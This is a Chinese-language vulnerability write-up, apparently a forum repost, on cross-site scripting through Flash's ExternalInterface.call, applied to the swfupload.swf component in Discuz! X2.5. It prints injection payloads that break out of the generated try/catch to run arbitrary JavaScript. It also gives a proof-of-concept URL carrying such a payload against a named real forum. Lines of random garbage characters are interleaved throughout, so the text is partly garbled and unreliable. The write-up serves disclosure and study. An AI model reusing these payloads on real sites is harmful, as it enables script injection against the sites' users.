上回我们说
+ h4 F; T( s& @* d& G! ^
* y8 x. B& b, ^- Aflash.external.ExternalInterface.call($methodName, $parameter)
* C' x. a; }3 o0 C* \/ k在浏览器中执行的是
' F% f, {* I3 c j2 z# V% _8 e; l3 u" ^' e' H" E) b
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}; S3 \' Y+ N( Y% z0 C0 l9 k
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
* P; ^5 q2 o# r, o8 Z6 {; d# n& y/ H- T4 y) U
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
* ?& s( y4 X9 }! q$methodName = a())}catch(e){alert(/xss/)}//7 _; Y+ ], R8 J8 v
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
) D% f) @6 l S4 u/ ~/ L7 ~9 w* M: i2 K1 x
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
# _5 y* x) T! i1 N7 n1 f, l8 Y
) L8 I& W) X, c; }这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )& B8 m: ]/ s$ z: x- o/ `: ?9 Y8 J W
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。5 N' | k4 z* p! J5 `8 P
& ^+ \2 g6 t8 w: ~' H- I# y+ _6 F& l j: I u- F1 g
& l) g# s; u# B: p4 Y
漏洞文件:upload\static\image\common\swfupload.swf M, @: |7 I5 q4 E$ W( u
" C) a) Y7 W1 {( i e1 R# |. ~7 N! V原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
. Y% }, k. j# j0 `# Z
; k0 D4 a% M' V# {" K5 F9 b
9 k# T/ _0 }/ K+ V0 k( i漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
: G+ h) C Y7 O9 {! g; T
* W9 ~; k' k9 C' E7 k# K
& O. A$ C7 a8 q) g; Q* H |